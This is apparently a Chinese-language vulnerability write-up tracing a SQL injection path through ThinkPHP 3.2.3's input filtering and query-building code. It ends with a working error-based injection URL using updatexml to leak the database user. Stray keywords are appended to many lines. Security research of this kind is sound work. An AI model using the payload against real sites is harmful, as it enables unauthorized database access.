開始復現審計一下tp3和tp5的框架漏洞,當個練習吧。php
涉及注入的方法爲where() table() delete()等。sql
環境 tp3.2.3 :thinkphp
測試代碼:數組
public function index2(){ // $data = M('user')-> where('username = "admin"')->select(); // dump($data); $id = i('id'); $res = M('user')->find($id);
I方法斷點 跟進去看。安全
F7跟進, thinkphp/ThinkPHP/Common/functions.php
:cookie
從283行開始看 首先判斷提交方式:session
...... switch(strtolower($method)) { case 'get' : $input =& $_GET; break; case 'post' : $input =& $_POST; break; case 'put' : if(is_null($_PUT)){ parse_str(file_get_contents('php://input'), $_PUT); } $input = $_PUT; break; case 'param' : switch($_SERVER['REQUEST_METHOD']) { case 'POST': $input = $_POST; break; case 'PUT': if(is_null($_PUT)){ parse_str(file_get_contents('php://input'), $_PUT); } $input = $_PUT; break; default: $input = $_GET; } break; case 'path' : $input = array(); if(!empty($_SERVER['PATH_INFO'])){ $depr = C('URL_PATHINFO_DEPR'); $input = explode($depr,trim($_SERVER['PATH_INFO'],$depr)); } break; case 'request' : $input =& $_REQUEST; break; case 'session' : $input =& $_SESSION; break; case 'cookie' : $input =& $_COOKIE; break; case 'server' : $input =& $_SERVER; break; case 'globals' : $input =& $GLOBALS; break; case 'data' : $input =& $datas; break; default: return null; }
重點看過濾的地方框架
think_filter:函數
function think_filter(&$value){ // TODO 其餘安全過濾 // 過濾查詢特殊字符 if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){ $value .= ' '; } }
這裏基本就是成因了 黑名單過濾 可是有漏網之魚 常見的updataxml()報錯函數都沒過濾。post
跟到後面在函數 parseSet能夠看到咱們提交的字符串做爲佔位符:
protected function parseSet($data) { foreach ($data as $key=>$val){ if(is_array($val) && 'exp' == $val[0]){ $set[] = $this->parseKey($key).'='.$val[1]; }elseif(is_null($val)){ $set[] = $this->parseKey($key).'=NULL'; }elseif(is_scalar($val)) {// 過濾非標量數據 if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){ $set[] = $this->parseKey($key).'='.$this->escapeString($val); }else{ $name = count($this->bind); $set[] = $this->parseKey($key).'=:'.$name; $this->bindParam($name,$val); } } } return ' SET '.implode(',',$set); }
_parseOptions
方法:
if (is_array($options)) { //當$options爲數組的時候與$this->options數組進行整合 $options = array_merge($this->options, $options); } if (!isset($options['table'])) {//判斷是否設置了table 沒設置進這裏 // 自動獲取表名 $options['table'] = $this->getTableName(); $fields = $this->fields; } else { // 指定數據表 則從新獲取字段列表 但不支持類型檢測 $fields = $this->getDbFields(); //設置了進這裏 } // 數據表別名 if (!empty($options['alias'])) {//判斷是否設置了數據表別名 $options['table'] .= ' ' . $options['alias']; //注意這裏,直接拼接了 } // 記錄操做的模型名稱 $options['model'] = $this->name; // 字段類型驗證 if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //讓$optison['where']不爲數組或沒有設置不進這裏 // 對數組查詢條件進行字段類型檢查 ...... } // 查詢事後清空sql表達式組裝 避免影響下次查詢 $this->options = array(); // 表達式過濾 $this->_options_filter($options); return $options;
當咱們傳入的值不爲數組,直接進行解析返回帶進查詢,沒有任何過濾。
同時$options['where']也同樣,看到parseWhere函數
$whereStr = ''; if (is_string($where)) { // 直接使用字符串條件 $whereStr = $where; //直接返回了,沒有任何過濾 } else { // 使用數組表達式 ...... }
http://www.qing-tp3.com/index.php?m=Home&c=Index&a=index2&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
跟到最後的時候仍是有點小繞 delet那些方法產生注入大同小異 回來再寫 上班~